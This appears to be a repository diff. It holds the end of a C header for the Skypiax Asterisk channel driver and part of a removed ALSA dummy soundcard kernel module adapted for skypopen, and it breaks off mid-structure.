#define ERRORA(...) ast_log(LOG_ERROR, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][ERROR %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
#define NOTICA(...) ast_log(LOG_NOTICE, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][NOTICE %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
#define WARNINGA(...) ast_log(LOG_WARNING, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][WARNING %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
/* macros for logging */
#define SKYPIAX_P_LOG p ? p->owner : NULL, (unsigned long)pthread_self(), __LINE__, p ? p->name ? p->name : "none" : "none", p ? p->owner ? p->owner->_state : -1 : -1, p ? p->interface_state : -1, p ? p->skype_callflow : -1
#define SKYPIAX_TMP_LOG tmp ? tmp->owner : NULL, (unsigned long)pthread_self(), __LINE__, tmp ? tmp->name ? tmp->name : "none" : "none", tmp ? tmp->owner ? tmp->owner->_state : -1 : -1, tmp ? tmp->interface_state : -1, tmp ? tmp->skype_callflow : -1
/* logging wrappers for ast_mutex_lock and ast_mutex_unlock */
#define LOKKA(x) if (skypiax_debug & DEBUG_LOCKS) ast_log(LOG_DEBUG, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_LOCKS %-5d][%-10s][%2d,%2d,%2d] going to lock %p (%s)\n", SKYPIAX_P_LOG, x, x == &skypiax_monlock ? "MONLOCK" : x == &skypiax_iflock ? "IFLOCK" : x == &skypiax_usecnt_lock ? "USECNT_LOCK" : "?????"); if (ast_mutex_lock(x)) ast_log(LOG_ERROR, "ast_mutex_lock failed, BAD\n"); if (skypiax_debug & DEBUG_LOCKS) ast_log(LOG_DEBUG, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_LOCKS %-5d][%-10s][%2d,%2d,%2d] locked %p (%s)\n", SKYPIAX_P_LOG, x, x == &skypiax_monlock ? "MONLOCK" : x == &skypiax_iflock ? "IFLOCK" : x == &skypiax_usecnt_lock ? "USECNT_LOCK" : "?????");
#define UNLOCKA(x) if (skypiax_debug & DEBUG_LOCKS) ast_log(LOG_DEBUG, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_LOCKS %-5d][%-10s][%2d,%2d,%2d] going to unlock %p (%s)\n", SKYPIAX_P_LOG, x, x == &skypiax_monlock ? "MONLOCK" : x == &skypiax_iflock ? "IFLOCK" : x == &skypiax_usecnt_lock ? "USECNT_LOCK" : "?????"); if (ast_mutex_unlock(x)) ast_log(LOG_ERROR, "ast_mutex_lock failed, BAD\n"); if (skypiax_debug & DEBUG_LOCKS) ast_log(LOG_DEBUG, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_LOCKS %-5d][%-10s][%2d,%2d,%2d] unlocked %p (%s)\n", SKYPIAX_P_LOG, x, x == &skypiax_monlock ? "MONLOCK" : x == &skypiax_iflock ? "IFLOCK" : x == &skypiax_usecnt_lock ? "USECNT_LOCK" : "?????");
#define PUSHA_UNLOCKA(x) pthread_cleanup_push(skypiax_unlocka_log, (void *) x);
#define POPPA_UNLOCKA(x) pthread_cleanup_pop(0);
#define MONITORLOKKA(x) if (skypiax_debug & DEBUG_MONITORLOCKS) ast_log(LOG_DEBUG, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_MONITORLOCKS %-5d][%-10s][%2d,%2d,%2d] going to lock %p (%s)\n", SKYPIAX_P_LOG, x, x == &skypiax_monlock ? "MONLOCK" : x == &skypiax_iflock ? "IFLOCK" : x == &skypiax_usecnt_lock ? "USECNT_LOCK" : "?????"); if (ast_mutex_lock(x)) ast_log(LOG_ERROR, "ast_mutex_lock failed, BAD\n"); if (skypiax_debug & DEBUG_MONITORLOCKS) ast_log(LOG_DEBUG, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_MONITORLOCKS %-5d][%-10s][%2d,%2d,%2d] locked %p (%s)\n", SKYPIAX_P_LOG, x, x == &skypiax_monlock ? "MONLOCK" : x == &skypiax_iflock ? "IFLOCK" : x == &skypiax_usecnt_lock ? "USECNT_LOCK" : "?????");
#define MONITORUNLOCKA(x) if (skypiax_debug & DEBUG_MONITORLOCKS) ast_log(LOG_DEBUG, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_MONITORLOCKS %-5d][%-10s][%2d,%2d,%2d] going to unlock %p (%s)\n", SKYPIAX_P_LOG, x, x == &skypiax_monlock ? "MONLOCK" : x == &skypiax_iflock ? "IFLOCK" : x == &skypiax_usecnt_lock ? "USECNT_LOCK" : "?????"); if (ast_mutex_unlock(x)) ast_log(LOG_ERROR, "ast_mutex_lock failed, BAD\n"); if (skypiax_debug & DEBUG_MONITORLOCKS) ast_log(LOG_DEBUG, "rev "SKYPIAX_SVN_VERSION "[%p|%-7lx][DEBUG_MONITORLOCKS %-5d][%-10s][%2d,%2d,%2d] unlocked %p (%s)\n", SKYPIAX_P_LOG, x, x == &skypiax_monlock ? "MONLOCK" : x == &skypiax_iflock ? "IFLOCK" : x == &skypiax_usecnt_lock ? "USECNT_LOCK" : "?????");
/* macros used for config file parsing (luigi rizzo)*/
#define M_BOOL(tag, dst) M_F(tag, (dst) = ast_true(__val) )
#define M_END(x) x;
#define M_F(tag, f) if (!strcasecmp((__s), tag)) { f; } else
#ifdef ASTERISK_VERSION_1_6
#define M_START(var, val) const char *__s = var; const char *__val = val;
#else
#define M_START(var, val) char *__s = var; char *__val = val;
#endif /* ASTERISK_VERSION_1_6 */
#define M_STR(tag, dst) M_F(tag, ast_copy_string(dst, __val, sizeof(dst)))
#define M_UINT(tag, dst) M_F(tag, (dst) = strtoul(__val, NULL, 0) )
#define SKYPIAX_FRAME_SIZE 160
/* SKYPIAX INTERNAL STRUCTS */
/*!
* \brief structure for exchanging messages with the skype client
*/
#ifdef WANT_SKYPE_X11
struct AsteriskHandles {
Window skype_win;
Display *disp;
Window win;
int fdesc[2];
};
#else /* WANT_SKYPE_X11 */
struct AsteriskHandles {
HWND win32_hInit_MainWindowHandle;
HWND win32_hGlobal_SkypeAPIWindowHandle;
int fdesc[2];
};
#endif /* WANT_SKYPE_X11 */
#ifndef WIN32
struct SkypiaxHandles {
Window skype_win;
Display *disp;
Window win;
int api_connected;
int fdesc[2];
};
#else //WIN32
struct SkypiaxHandles {
HWND win32_hInit_MainWindowHandle;
HWND win32_hGlobal_SkypeAPIWindowHandle;
HINSTANCE win32_hInit_ProcessHandle;
char win32_acInit_WindowClassName[128];
UINT win32_uiGlobal_MsgID_SkypeControlAPIAttach;
UINT win32_uiGlobal_MsgID_SkypeControlAPIDiscover;
int api_connected;
int fdesc[2];
};
#endif //WIN32
/*!
* \brief PVT structure for a skypiax interface (channel), created by skypiax_mkif
*/
struct skypiax_pvt {
char *name; /*!< \brief 'name' of the interface (channel) */
int interface_state; /*!< \brief 'state' of the interface (channel) */
struct ast_channel *owner; /*!< \brief channel we belong to, possibly NULL */
struct skypiax_pvt *next; /*!< \brief Next interface (channel) in list */
char context[AST_MAX_EXTENSION]; /*!< \brief default Asterisk dialplan context for this interface */
char language[MAX_LANGUAGE]; /*!< \brief default Asterisk dialplan language for this interface */
char exten[AST_MAX_EXTENSION]; /*!< \brief default Asterisk dialplan extension for this interface */
int skypiax_sound_rate; /*!< \brief rate of the sound device, in Hz, eg: 8000 */
int skypiax_sound_capt_fd; /*!< \brief file descriptor for sound capture dev */
char callid_name[50];
char callid_number[50];
pthread_t controldev_thread; /*!< \brief serial control thread for this interface, running during the call */
double playback_boost;
double capture_boost;
int stripmsd;
pthread_t skype_thread;
struct AsteriskHandles AsteriskHandlesAst;
struct SkypiaxHandles SkypiaxHandles;
char skype_call_id[512];
int skype_call_ongoing;
char skype_friends[4096];
char skype_fullname[512];
char skype_displayname[512];
int skype_callflow; /*!< \brief 'callflow' of the skype interface (as opposed to phone interface) */
int skype; /*!< \brief config flag, bool, Skype support on this interface (0 if false, -1 if true) */
int control_to_send;
int audiopipe[2];
int audioskypepipe[2];
pthread_t tcp_srv_thread;
pthread_t tcp_cli_thread;
short audiobuf[160];
int audiobuf_is_loaded;
//int phonebook_listing;
//int phonebook_querying;
//int phonebook_listing_received_calls;
//int phonebook_first_entry;
//int phonebook_last_entry;
//int phonebook_number_lenght;
//int phonebook_text_lenght;
FILE *phonebook_writing_fp;
int skypiax_dir_entry_extension_prefix;
#ifdef WIN32
unsigned short tcp_cli_port;
unsigned short tcp_srv_port;
#else
int tcp_cli_port;
int tcp_srv_port;
#endif
char X11_display[256];
struct ast_frame read_frame;
char skype_user[256];
char skype_password[256];
char destination[256];
char session_uuid_str[512 + 1];
pthread_t signaling_thread;
};
typedef struct skypiax_pvt private_t;
/* FUNCTIONS */
/* module helpers functions */
int load_module(void);
int unload_module(void);
int usecount(void);
char *description(void);
char *key(void);
/* chan_skypiax internal functions */
void skypiax_unlocka_log(void *x);
void *do_skypeapi_thread(void *data);
//int skypiax2skype(struct ast_channel *c, void *data);
//int skype2skypiax(struct ast_channel *c, void *data);
//void skypiax_disconnect(void);
int skypiax_signaling_write(struct skypiax_pvt *p, char *msg_to_skype);
int skypiax_signaling_read(struct skypiax_pvt *p);
int skypiax_console_skype(int fd, int argc, char *argv[]);
#ifdef WANT_SKYPE_X11
int X11_errors_handler(Display * dpy, XErrorEvent * err);
int skypiax_send_message(struct SkypiaxHandles *SkypiaxHandles, const char *message_P);
int skypiax_present(struct SkypiaxHandles *SkypiaxHandles);
void skypiax_clean_disp(void *data);
#endif /* WANT_SKYPE_X11 */
#ifdef __CYGWIN__
int win32_Initialize_CreateWindowClass(private_t * tech_pvt);
void win32_DeInitialize_DestroyWindowClass(private_t * tech_pvt);
int win32_Initialize_CreateMainWindow(private_t * tech_pvt);
void win32_DeInitialize_DestroyMainWindow(private_t * tech_pvt);
#endif /* __CYGWIN__ */
/* CHAN_SKYPIAX.C */
int skypiax_queue_control(struct ast_channel *chan, int control);
struct skypiax_pvt *skypiax_console_find_desc(char *dev);
int skypiax_serial_call(struct skypiax_pvt *p, char *dstr);
/* FUNCTIONS */
/* PBX interface functions */
struct ast_channel *skypiax_request(const char *type, int format, void *data, int *cause);
int skypiax_answer(struct ast_channel *c);
int skypiax_hangup(struct ast_channel *c);
int skypiax_originate_call(struct ast_channel *c, char *idest, int timeout);
struct ast_frame *skypiax_read(struct ast_channel *chan);
int skypiax_write(struct ast_channel *c, struct ast_frame *f);
int skypiax_fixup(struct ast_channel *oldchan, struct ast_channel *newchan);
#ifndef ASTERISK_VERSION_1_4
int skypiax_indicate(struct ast_channel *c, int cond);
#else
int skypiax_indicate(struct ast_channel *c, int cond, const void *data, size_t datalen);
#endif
int skypiax_devicestate(void *data);
#ifdef ASTERISK_VERSION_1_4
int skypiax_digitsend_begin(struct ast_channel *ast, char digit);
int skypiax_digitsend_end(struct ast_channel *ast, char digit, unsigned int duration);
#else /* ASTERISK_VERSION_1_4 */
int skypiax_digitsend(struct ast_channel *ast, char digit);
#endif /* ASTERISK_VERSION_1_4 */
/* chan_skypiax internal functions */
struct skypiax_pvt *skypiax_mkif(struct ast_config *cfg, char *ctg, int is_first_category);
struct ast_channel *skypiax_new(struct skypiax_pvt *p, int state, char *context);
int skypiax_restart_monitor(void);
void *skypiax_do_monitor(void *data);
int skypiax_sound_boost(struct ast_frame *f, double boost);
int skypiax_sound_init(struct skypiax_pvt *p);
int skypiax_sound_shutdown(struct skypiax_pvt *p);
struct ast_frame *skypiax_sound_read(struct skypiax_pvt *p);
int skypiax_sound_write(struct skypiax_pvt *p, struct ast_frame *f);
void *skypiax_do_controldev_thread(void *data);
#ifdef ASTERISK_VERSION_1_6
void skypiax_store_boost(const char *s, double *boost);
#else
void skypiax_store_boost(char *s, double *boost);
#endif /* ASTERISK_VERSION_1_6 */
int skypiax_console_set_active(int fd, int argc, char *argv[]);
int skypiax_console_hangup(int fd, int argc, char *argv[]);
int skypiax_console_playback_boost(int fd, int argc, char *argv[]);
int skypiax_console_capture_boost(int fd, int argc, char *argv[]);
int skypiax_console_skypiax(int fd, int argc, char *argv[]);
int skypiax_console_dial(int fd, int argc, char *argv[]);
int skypiax_audio_init(struct skypiax_pvt *p);
//struct ast_frame *skypiax_audio_read(struct skypiax_pvt *p);
int skypiax_audio_read(struct skypiax_pvt *p);
void *skypiax_do_tcp_srv_thread(void *data);
int skypiax_audio_write(struct skypiax_pvt *p, struct ast_frame *f);
void *skypiax_do_tcp_cli_thread(void *data);
int skypiax_call(struct skypiax_pvt *p, char *idest, int timeout);
int skypiax_console_skypiax_dir_import(int fd, int argc, char *argv[]);
void *skypiax_do_tcp_srv_thread_func(void *obj);
void *skypiax_do_tcp_cli_thread_func(void *obj);
void *skypiax_do_skypeapi_thread_func(void *obj);
int dtmf_received(private_t * tech_pvt, char *value);
int start_audio_threads(private_t * tech_pvt);
int new_inbound_channel(private_t * tech_pvt);
int outbound_channel_answered(private_t * tech_pvt);
int skypiax_senddigit(struct skypiax_pvt *p, char digit);
int skypiax_signaling_write(private_t * tech_pvt, char *msg_to_skype);
#if defined(WIN32) && !defined(__CYGWIN__)
int skypiax_pipe_read(switch_file_t * pipe, short *buf, int howmany);
int skypiax_pipe_write(switch_file_t * pipe, short *buf, int howmany);
/* Visual C do not have strsep ? */
char *strsep(char **stringp, const char *delim);
#else
int skypiax_pipe_read(int pipe, short *buf, int howmany);
int skypiax_pipe_write(int pipe, short *buf, int howmany);
#endif /* WIN32 */
int skypiax_close_socket(unsigned int fd);
private_t *find_available_skypiax_interface(void);
int remote_party_is_ringing(private_t * tech_pvt);
int remote_party_is_early_media(private_t * tech_pvt);
#define SKYPIAX_STATE_DOWN AST_STATE_DOWN
#define SKYPIAX_STATE_RING AST_STATE_RING
#define SKYPIAX_STATE_DIALING AST_STATE_DIALING
#define SKYPIAX_STATE_BUSY AST_STATE_BUSY
#define SKYPIAX_STATE_UP AST_STATE_UP
#define SKYPIAX_STATE_RINGING AST_STATE_RINGING
#define SKYPIAX_STATE_PRERING AST_STATE_PRERING
#define SKYPIAX_STATE_RESERVED AST_STATE_RESERVED
#define SKYPIAX_STATE_HANGUP_REQUESTED 200
#endif /* _SKYPIAX_H_ */

View File

@ -1,821 +0,0 @@
/*
* Dummy soundcard
* Copyright (c) by Jaroslav Kysela <perex@perex.cz>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
*/
#include <linux/init.h>
#include <linux/err.h>
#include <linux/platform_device.h>
#include <linux/jiffies.h>
#include <linux/slab.h>
#include <linux/time.h>
#include <linux/wait.h>
#include <linux/moduleparam.h>
#include <sound/core.h>
#include <sound/control.h>
#include <sound/tlv.h>
#include <sound/pcm.h>
#include <sound/rawmidi.h>
#include <sound/initval.h>
MODULE_AUTHOR("Jaroslav Kysela <perex@perex.cz>");
MODULE_DESCRIPTION("Dummy soundcard (/dev/null)");
MODULE_LICENSE("GPL");
MODULE_SUPPORTED_DEVICE("{{ALSA,Dummy soundcard}}");
#define MAX_PCM_DEVICES 4
#define MAX_PCM_SUBSTREAMS 128
#define MAX_MIDI_DEVICES 2
/* defaults */
#ifndef MAX_BUFFER_SIZE
#define MAX_BUFFER_SIZE (64*1024)
#endif
#ifndef MAX_PERIOD_SIZE
#define MAX_PERIOD_SIZE MAX_BUFFER_SIZE
#endif
#ifndef USE_FORMATS
#define USE_FORMATS (SNDRV_PCM_FMTBIT_U8 | SNDRV_PCM_FMTBIT_S16_LE)
#endif
#ifndef USE_RATE
#define USE_RATE SNDRV_PCM_RATE_CONTINUOUS | SNDRV_PCM_RATE_8000_48000
#define USE_RATE_MIN 5500
#define USE_RATE_MAX 48000
#endif
#ifndef USE_CHANNELS_MIN
#define USE_CHANNELS_MIN 1
#endif
#ifndef USE_CHANNELS_MAX
#define USE_CHANNELS_MAX 2
#endif
#ifndef USE_PERIODS_MIN
#define USE_PERIODS_MIN 10
#endif
#ifndef USE_PERIODS_MAX
#define USE_PERIODS_MAX 1024
#endif
#ifndef add_playback_constraints
#define add_playback_constraints(x) 0
#endif
#ifndef add_capture_constraints
#define add_capture_constraints(x) 0
#endif
static int index[SNDRV_CARDS] = SNDRV_DEFAULT_IDX; /* Index 0-MAX */
static char *id[SNDRV_CARDS] = SNDRV_DEFAULT_STR; /* ID for this card */
static int enable[SNDRV_CARDS] = { 1,[1 ... (SNDRV_CARDS - 1)] = 0 };
static int pcm_devs[SNDRV_CARDS] = {[0 ... (SNDRV_CARDS - 1)] = 1 };
static int pcm_substreams[SNDRV_CARDS] = {[0 ... (SNDRV_CARDS - 1)] = 128 };
module_param_array(index, int, NULL, 0444);
MODULE_PARM_DESC(index, "Index value for dummy soundcard.");
module_param_array(id, charp, NULL, 0444);
MODULE_PARM_DESC(id, "ID string for dummy soundcard.");
module_param_array(enable, bool, NULL, 0444);
MODULE_PARM_DESC(enable, "Enable this dummy soundcard.");
module_param_array(pcm_devs, int, NULL, 0444);
MODULE_PARM_DESC(pcm_devs, "PCM devices # (0-4) for dummy driver.");
module_param_array(pcm_substreams, int, NULL, 0444);
MODULE_PARM_DESC(pcm_substreams, "PCM substreams # (1-64) for dummy driver.");
static struct platform_device *devices[SNDRV_CARDS];
static struct timer_list dummytimer;
static int dummystarted = 0;
static int dummyindex = 0;
static spinlock_t dummylock;
struct dummydpcm {
struct snd_pcm_substream *substream;
struct snd_dummy_pcm *dpcm;
int started;
int elapsed;
};
static struct dummydpcm dummydpcms[MAX_PCM_SUBSTREAMS];
#define MIXER_ADDR_MASTER 0
#define MIXER_ADDR_LINE 1
#define MIXER_ADDR_MIC 2
#define MIXER_ADDR_SYNTH 3
#define MIXER_ADDR_CD 4
#define MIXER_ADDR_LAST 4
static void snd_card_dummy_pcm_timer_function(unsigned long data);
struct snd_dummy {
struct snd_card *card;
struct snd_pcm *pcm;
spinlock_t mixer_lock;
int mixer_volume[MIXER_ADDR_LAST + 1][2];
int capture_source[MIXER_ADDR_LAST + 1][2];
};
struct snd_dummy_pcm {
struct snd_dummy *dummy;
//spinlock_t lock;
//struct timer_list timer;
unsigned int pcm_buffer_size;
unsigned int pcm_period_size;
unsigned int pcm_bps; /* bytes per second */
unsigned int pcm_hz; /* HZ */
unsigned int pcm_irq_pos; /* IRQ position */
unsigned int pcm_buf_pos; /* position in buffer */
struct snd_pcm_substream *substream;
};
static inline void snd_card_dummy_pcm_timer_start(struct snd_dummy_pcm *dpcm)
{
int i;
int found = 0;
for (i = 0; i < dummyindex + 1; i++) {
//if (i > MAX_PCM_SUBSTREAMS || dummyindex > MAX_PCM_SUBSTREAMS) {
//printk("dummy, %s:%d, i=%d, dummyindex=%d dpcm=%p\n", __FILE__, __LINE__, i, dummyindex, dpcm);
//}
if (dummydpcms[i].dpcm == dpcm) {
dummydpcms[i].started = 1;
found = 1;
}
}
//if (!found) {
//printk("skypopen: start, NOT found?\n");
//}
}
static inline void snd_card_dummy_pcm_timer_stop(struct snd_dummy_pcm *dpcm)
{
int i;
int found = 0;
for (i = 0; i < dummyindex + 1; i++) {
//if (i > MAX_PCM_SUBSTREAMS || dummyindex > MAX_PCM_SUBSTREAMS) {
//printk("dummy, %s:%d, i=%d, dummyindex=%d dpcm=%p\n", __FILE__, __LINE__, i, dummyindex, dpcm);
//}
if (dummydpcms[i].dpcm == dpcm) {
dummydpcms[i].started = 0;
dummydpcms[i].elapsed = 0;
found = 1;
}
}
if (!found) {
} else {
}
}
static int snd_card_dummy_pcm_trigger(struct snd_pcm_substream *substream, int cmd)
{
struct snd_pcm_runtime *runtime = substream->runtime;
struct snd_dummy_pcm *dpcm = runtime->private_data;
int err = 0;
spin_lock_bh(&dummylock);
switch (cmd) {
case SNDRV_PCM_TRIGGER_START:
case SNDRV_PCM_TRIGGER_RESUME:
snd_card_dummy_pcm_timer_start(dpcm);
break;
case SNDRV_PCM_TRIGGER_STOP:
case SNDRV_PCM_TRIGGER_SUSPEND:
snd_card_dummy_pcm_timer_stop(dpcm);
break;
default:
err = -EINVAL;
break;
}
spin_unlock_bh(&dummylock);
return 0;
}
static int snd_card_dummy_pcm_prepare(struct snd_pcm_substream *substream)
{
struct snd_pcm_runtime *runtime = substream->runtime;
struct snd_dummy_pcm *dpcm = runtime->private_data;
int bps;
bps = snd_pcm_format_width(runtime->format) * runtime->rate * runtime->channels / 8;
if (bps <= 0)
return -EINVAL;
dpcm->pcm_bps = bps;
dpcm->pcm_hz = HZ;
dpcm->pcm_buffer_size = snd_pcm_lib_buffer_bytes(substream);
dpcm->pcm_period_size = snd_pcm_lib_period_bytes(substream);
dpcm->pcm_irq_pos = 0;
dpcm->pcm_buf_pos = 0;
snd_pcm_format_set_silence(runtime->format, runtime->dma_area, bytes_to_samples(runtime, runtime->dma_bytes));
return 0;
}
static void snd_card_dummy_pcm_timer_function(unsigned long data)
{
struct snd_dummy_pcm *dpcm = NULL;
int i;
dummytimer.expires = 1 + jiffies;
add_timer(&dummytimer);
//spin_lock_bh(&dummylock);
for (i = 0; i < dummyindex + 1; i++) {
#if 0
if (i > MAX_PCM_SUBSTREAMS || dummyindex > MAX_PCM_SUBSTREAMS) {
printk("dummy, %s:%d, i=%d, dummyindex=%d dpcm=%p\n", __FILE__, __LINE__, i, dummyindex, dpcm);
}
#endif
if (dummydpcms[i].started != 1)
continue;
dpcm = dummydpcms[i].dpcm;
#if 0
if (dpcm == NULL) {
printk("dummy: timer_func %d %d NULL: continue\n", __LINE__, i);
continue;
}
#endif
//spin_lock_bh(&dpcm->lock);
dpcm->pcm_irq_pos += dpcm->pcm_bps * 1;
dpcm->pcm_buf_pos += dpcm->pcm_bps * 1;
dpcm->pcm_buf_pos %= dpcm->pcm_buffer_size * dpcm->pcm_hz;
if (dpcm->pcm_irq_pos >= dpcm->pcm_period_size * dpcm->pcm_hz) {
dpcm->pcm_irq_pos %= dpcm->pcm_period_size * dpcm->pcm_hz;
//spin_unlock_bh(&dpcm->lock);
//snd_pcm_period_elapsed(dpcm->substream);
dummydpcms[i].elapsed = 1;
} else {
//spin_unlock_bh(&dpcm->lock);
}
}
//spin_unlock_bh(&dummylock);
for (i = 0; i < dummyindex + 1; i++) {
#if 0
if (i > MAX_PCM_SUBSTREAMS || dummyindex > MAX_PCM_SUBSTREAMS) {
printk("dummy, %s:%d, i=%d, dummyindex=%d dpcm=%p\n", __FILE__, __LINE__, i, dummyindex, dpcm);
}
#endif
if (dummydpcms[i].started != 1)
continue;
dpcm = dummydpcms[i].dpcm;
#if 0
if (dpcm == NULL) {
printk("dummy: timer_func %d %d NULL: continue\n", __LINE__, i);
continue;
}
#endif
if (dummydpcms[i].elapsed){
snd_pcm_period_elapsed(dpcm->substream);
dummydpcms[i].elapsed = 0;
}
}
}
static snd_pcm_uframes_t snd_card_dummy_pcm_pointer(struct snd_pcm_substream *substream)
{
struct snd_pcm_runtime *runtime = substream->runtime;
struct snd_dummy_pcm *dpcm = runtime->private_data;
//return bytes_to_frames(runtime, dpcm->pcm_buf_pos / dpcm->pcm_hz);
return (dpcm->pcm_buf_pos / dpcm->pcm_hz) / 2;
}
static struct snd_pcm_hardware snd_card_dummy_playback = {
.info = (SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED | SNDRV_PCM_INFO_RESUME | SNDRV_PCM_INFO_MMAP_VALID),
//.info = (SNDRV_PCM_INFO_INTERLEAVED),
.formats = USE_FORMATS,
.rates = USE_RATE,
.rate_min = USE_RATE_MIN,
.rate_max = USE_RATE_MAX,
.channels_min = USE_CHANNELS_MIN,
.channels_max = USE_CHANNELS_MAX,
.buffer_bytes_max = MAX_BUFFER_SIZE,
//.period_bytes_min = 256,
.period_bytes_min = 2048,
.period_bytes_max = MAX_PERIOD_SIZE,
.periods_min = USE_PERIODS_MIN,
.periods_max = USE_PERIODS_MAX,
.fifo_size = 0,
};
static struct snd_pcm_hardware snd_card_dummy_capture = {
.info = (SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED | SNDRV_PCM_INFO_RESUME | SNDRV_PCM_INFO_MMAP_VALID),
//.info = (SNDRV_PCM_INFO_INTERLEAVED),
.formats = USE_FORMATS,
.rates = USE_RATE,
.rate_min = USE_RATE_MIN,
.rate_max = USE_RATE_MAX,
.channels_min = USE_CHANNELS_MIN,
.channels_max = USE_CHANNELS_MAX,
.buffer_bytes_max = MAX_BUFFER_SIZE,
//.period_bytes_min = 256,
.period_bytes_min = 2048,
.period_bytes_max = MAX_PERIOD_SIZE,
.periods_min = USE_PERIODS_MIN,
.periods_max = USE_PERIODS_MAX,
.fifo_size = 0,
};
static void snd_card_dummy_runtime_free(struct snd_pcm_runtime *runtime)
{
int i;
spin_lock_bh(&dummylock);
for (i = 0; i < dummyindex; i++) {
if (i > MAX_PCM_SUBSTREAMS || dummyindex > MAX_PCM_SUBSTREAMS) {
printk("dummy, %s:%d, i=%d, dummyindex=%d \n", __FILE__, __LINE__, i, dummyindex);
}
if ((dummydpcms[i].dpcm == runtime->private_data)) {
dummydpcms[i].started = 0;
dummydpcms[i].elapsed = 0;
} else {
}
}
spin_unlock_bh(&dummylock);
kfree(runtime->private_data);
}
static int snd_card_dummy_hw_params(struct snd_pcm_substream *substream, struct snd_pcm_hw_params *hw_params)
{
return snd_pcm_lib_malloc_pages(substream, params_buffer_bytes(hw_params));
}
static int snd_card_dummy_hw_free(struct snd_pcm_substream *substream)
{
return snd_pcm_lib_free_pages(substream);
}
static struct snd_dummy_pcm *new_pcm_stream(struct snd_pcm_substream *substream)
{
struct snd_dummy_pcm *dpcm;
int i;
int found = 0;
dpcm = kzalloc(sizeof(*dpcm), GFP_KERNEL);
if (!dpcm) {
printk("dummy, %s:%d, dummyindex=%d NO MEMORY!!!!\n", __FILE__, __LINE__, dummyindex);
return dpcm;
}
//init_timer(&dpcm->timer);
//spin_lock_init(&dpcm->lock);
dpcm->substream = substream;
spin_lock_bh(&dummylock);
for (i = 0; i < dummyindex; i++) {
//if (i > MAX_PCM_SUBSTREAMS || dummyindex > MAX_PCM_SUBSTREAMS) {
//printk("dummy, %s:%d, i=%d, dummyindex=%d dpcm=%p\n", __FILE__, __LINE__, i, dummyindex, dpcm);
//}
if ((dummydpcms[i].substream == substream)) {
found = 1;
break;
}
}
if (!found) {
dummydpcms[dummyindex].substream = substream;
dummyindex++;
}
found = 0;
for (i = 0; i < dummyindex; i++) {
//if (i > MAX_PCM_SUBSTREAMS || dummyindex > MAX_PCM_SUBSTREAMS) {
//printk("dummy, %s:%d, i=%d, dummyindex=%d dpcm=%p\n", __FILE__, __LINE__, i, dummyindex, dpcm);
//}
if (dummydpcms[i].substream == substream) {
dummydpcms[i].dpcm = dpcm;
dummydpcms[i].started = 0;
dummydpcms[i].elapsed = 0;
found = 1;
break;
}
}
spin_unlock_bh(&dummylock);
//if (!found) {
//printk("skypopen dummyindex=%d NOT found????\n", dummyindex);
//}
return dpcm;
}
static int snd_card_dummy_playback_open(struct snd_pcm_substream *substream)
{
struct snd_pcm_runtime *runtime = substream->runtime;
struct snd_dummy_pcm *dpcm;
int err;
if ((dpcm = new_pcm_stream(substream)) == NULL)
return -ENOMEM;
runtime->private_data = dpcm;
/* makes the infrastructure responsible for freeing dpcm */
runtime->private_free = snd_card_dummy_runtime_free;
runtime->hw = snd_card_dummy_playback;
if (substream->pcm->device & 1) {
runtime->hw.info &= ~SNDRV_PCM_INFO_INTERLEAVED;
runtime->hw.info |= SNDRV_PCM_INFO_NONINTERLEAVED;
}
if (substream->pcm->device & 2)
runtime->hw.info &= ~(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_MMAP_VALID);
err = add_playback_constraints(runtime);
if (err < 0)
return err;
return 0;
}
static int snd_card_dummy_capture_open(struct snd_pcm_substream *substream)
{
struct snd_pcm_runtime *runtime = substream->runtime;
struct snd_dummy_pcm *dpcm;
int err;
if ((dpcm = new_pcm_stream(substream)) == NULL)
return -ENOMEM;
runtime->private_data = dpcm;
/* makes the infrastructure responsible for freeing dpcm */
runtime->private_free = snd_card_dummy_runtime_free;
runtime->hw = snd_card_dummy_capture;
if (substream->pcm->device == 1) {
runtime->hw.info &= ~SNDRV_PCM_INFO_INTERLEAVED;
runtime->hw.info |= SNDRV_PCM_INFO_NONINTERLEAVED;
}
if (substream->pcm->device & 2)
runtime->hw.info &= ~(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_MMAP_VALID);
err = add_capture_constraints(runtime);
if (err < 0)
return err;
return 0;
}
static int snd_card_dummy_playback_close(struct snd_pcm_substream *substream)
{
snd_card_dummy_pcm_timer_stop(substream->private_data);
return 0;
}
static int snd_card_dummy_capture_close(struct snd_pcm_substream *substream)
{
snd_card_dummy_pcm_timer_stop(substream->private_data);
return 0;
}
static struct snd_pcm_ops snd_card_dummy_playback_ops = {
.open = snd_card_dummy_playback_open,
.close = snd_card_dummy_playback_close,
.ioctl = snd_pcm_lib_ioctl,
.hw_params = snd_card_dummy_hw_params,
.hw_free = snd_card_dummy_hw_free,
.prepare = snd_card_dummy_pcm_prepare,
.trigger = snd_card_dummy_pcm_trigger,
.pointer = snd_card_dummy_pcm_pointer,
};
static struct snd_pcm_ops snd_card_dummy_capture_ops = {
.open = snd_card_dummy_capture_open,
.close = snd_card_dummy_capture_close,
